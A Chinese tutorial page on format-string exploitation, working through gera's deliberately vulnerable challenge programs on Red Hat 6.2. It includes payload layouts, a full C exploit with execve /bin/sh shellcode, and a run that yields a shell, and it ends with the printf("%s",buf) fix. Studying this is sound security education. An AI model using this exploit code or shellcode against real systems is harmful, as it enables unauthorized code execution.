- 1PS提示：因为图层已锁定，无法编辑图层的处理方法
- 2Adobe Illustrator CS5 序列号大全
- 3picacg苹果版怎么找不到|picacg ios版是不是下架了介绍
- 4ACDsee注册码免费分享（含ACDsee18、ACDsee10等版本）
- 5苹果iphone自动时间不准确的多种校正方法
- 6眼萌app怎么色弱测试 眼萌app色弱测试图文说明教程
- 7PDF浏览器能看3D文件吗？PDF浏览器看3D文件图文详细教程
- 8百度安全卫士好用么_百度安全卫士技巧说明
- 9Potato(马铃薯聊天)怎么注册不了|Potato不能注册处理方法介绍
- 10Potato(土豆聊天)怎么换头像|Potato app更改头像方法介绍
- 11ipad版office如何激活? office365激活的图文说明教程
- 12最新的Adobe Illustrator CS4序列号大全
[摘要]★★ 二格式化字符串篇 测试环境 redhat 6.2 glibc 2.1.3 ★ 2.1 演示一 /* fs1.c* * specially crafted to feed your brain by gera@core-sdi.com */...
★★ 二格式化字符串篇
测试环境 redhat 6.2 glibc 2.1.3
★ 2.1 演示一
/* fs1.c*
* specially crafted to feed your brain by gera@core-sdi.com */
/* Don't forget,*
* more is less,*
* here's a proof */
int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];
strcpy(buf,argc[1]);
printf("%s%hn\n",buf,plen);
while(zero);
}
利用方法：
这个程序构造的很巧妙，如果我们需要从这个程序中得到控制的话，
我们需要把strcpy和printf都利用起来。
我们的目标：覆盖main函数的返回地址，需要使zero为0，然而，单单strcpy
是不可能实现的，所以我们需要利用后面的
printf("%s%hn\n",buf,plen);
把short int 类型的zero设置为0。所以我们需要精心构造argc[1].
★ 2.2 演示二
/* fs2.c*
* specially crafted to feed your brain by gera@core-sdi.com */
/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}
假如我们现在来覆盖main的返回地址：0xbffffb6c,
假使shellcode地址为：0xbffffc88
开始构造模板
第一次我们构造argc[1]的时候需要使argc[1]长度为0xbfff-2
那使构造argc[1]内容为
aaaa bbbb \0x8a\0xfc\0xff\0xbf ...
第二次我们构造argc[2]的时候需要使argc[2]长度为0xfb6c-2
那使构造argc[2]内容为
aaaa bbbb \0x88\0xfc\0xff\0xbf ...
★ 2.3 演示三
/* fs3.c*
* specially crafted to feed your brain by riq@core-sdi.com*/
/* Not enough resources?*/
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}
在上例中我们也看到，shellcode和main的返回地址存放的地址后两个字节是
一样的，所以也就不需要上面的第一步操作，直接如下构造：
构造argc[1]的时候需要使argc[1]长度为0xfb6c-2
那使构造argc[1]内容为
aaaa bbbb \0x88\0xfc\0xff\0xbf ...
★ 2.4 演示四
/* fs4.c*
* specially crafted to feed your brain by gera@core-sdi.com */
/* Have you ever heard about code reusability?*/
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
printf(buf);
}
%6$hn格式化字符串表示%hn对应的格式化参数使用第六个参数
明白这一点，写出exploit应该不是问题。
看了下面一个例子就应该明白%6$是怎么回事了
[alert7@redhat62 alert7]$ cat test.c
#include <stdio.h>
int main(int argc, char *argv[])
{
int a=2,b=3;
printf("%d %d\n",a ,b);
printf("%2$d %1$d\n",a ,b);
return 0;
}
[alert7@redhat62 alert7]$ gcc -o test test.c -g
[alert7@redhat62 alert7]$ ./test
2 3
3 2
这样，我们可以在格式化串中自己指定所用哪个参数，而无需按照参数次序。
★ 2.5 演示五
/* fs5.c*
* specially crafted to feed your brain by gera@core-sdi.com */
/* go, go, go!*/
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,argc[1]);
/* this line'll make your life easier */
//printf("%s\n",buf);
}
[alert7@redhat]$ gcc -o test test.c -g
给个exploit更感性一点
[alert7@redhat]$ cat exp.c more
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET0
#define DEFAULT_ALIGNMENT 0
#define DEFAULT_RETLOC 0xbffffd28-0*4-8-8 //F-X*4-8-8
//F为格式化字符串地址
//X为垃圾的个数，X*4也就是
//从esp到F的长度
#define NOP0x90
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char *argv[]) {
char *ptr;
long shell_addr,retloc=DEFAULT_RETLOC;
int i,SH1,SH2;
char buf[512];
char buf1[5000];
int t;
printf("Using RET location address: 0x%x\n", retloc);
shell_addr =0xbfffff10 +atoi(argv[1]);//argv[1]的参数地址
//里面存放着shellcode
printf("Using Shellcode address: 0x%x\n", shell_addr);
SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff
SH2 = (shell_addr >>0) & 0xffff;//SH2=0xd3a8
ptr = buf;
if ((SH1)<(SH2))
{
memset(ptr,'B',4);
ptr += 4 ;
(*ptr++) =(retloc+2) & 0xff;
(*ptr++) = ((retloc+2) >> 8) & 0xff ;
(*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
(*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
memset(ptr,'B',4);
ptr += 4 ;
(*ptr++) =(retloc) & 0xff;
(*ptr++) = ((retloc) >> 8) & 0xff ;
(*ptr++) = ((retloc) >> 16 ) & 0xff ;
(*ptr++) = ((retloc) >> 24 ) & 0xff ;
sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));
/*推荐构造格式化串的时候使用%hn*/
}
if ((SH1 )>(SH2))
{
memset(ptr,'B',4);
ptr += 4 ;
(*ptr++) =(retloc) & 0xff;
(*ptr++) = ((retloc) >> 8) & 0xff ;
(*ptr++) = ((retloc) >> 16 ) & 0xff ;
(*ptr++) = ((retloc) >> 24 ) & 0xff ;
memset(ptr,'B',4);
ptr += 4 ;
(*ptr++) =(retloc+2) & 0xff;
(*ptr++) = ((retloc+2) >> 8) & 0xff ;
(*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
(*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));
}
if ((SH1 )==(SH2))
{
printf("不能用一个printf实现这种情况\n"),exit(0);
//其实是可以的，注意这个$这个特殊的printf选项没有
//参考前面的演示四 ：）
}
sprintf(buf1,"%s%s",buf,shellcode);
execle("./test","test",buf1, NULL,NULL);
}
[alert7@redhat]$ gcc -o exp exp.c
[alert7@redhat]$ ./exp 50
Using RET location address: 0xbffffd18
Using Shellcode address: 0xbfffff42
bash$ uname -a
Linux redhat62 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
bash$ 成功:)
里面的一些数据的定位请参考我写的<<利用格式化串覆盖printf()系列函数本身的返回地址>>
★★ 小结：
存在格式化字符串的根本原因所在是程序允许用户提供部分或全部的格式化字符串，
也就是说，在*printf()系列函数中，格式化字符串位置的参数可由用户提供或者说
是控制。例如：千万不要因为懒惰写成这样printf(buf)，正确的写法应该是
printf("%s",buf).
推荐资讯 总人气榜
最新教程 本月人气
- 1下海是什么意思？
- 2父亲节是什么时候？
- 3资源管理器如何打开？
- 4小米刷机图文说明教程
- 5岑如何读？
- 6泡泡水的制作方法？
- 7如何转让群主？
- 8桌面图标变大了如何办？
- 9如何转换图片格式？
- 10跑龙套是什么意思？
- 11妄自菲薄什么意思？
- 12ps如何拼图？
- 1防范PPTV网络电视偷跑P2P流量的方法_pptv网络电视_下载之家
- 217app如何注册 17app注册方法流程
- 3Cool Edit提示：resample.xfm文件失去怎么办？
- 4爱奇艺会员号共享（更新日期：2016年9月28日）
- 5用XML与ASP完成购物车
- 6remoteview如何用？remoteview使用方法
- 7百度抢票宝验证码不显示如何办？百度抢票不显示验证码处理方法
- 8人生日历抢票如何用？人生日历抢票插件使用图文说明教程
- 9柚子相机如何用？柚子相机使用方法
- 10搜狗输入法如何设置快捷键？搜狗输入法设置快捷键图文说明教程
- 11随星播如何直播？随星播直播图文说明教程
- 12随星播如何设置？腾讯随星播设置图文说明教程
相关文章
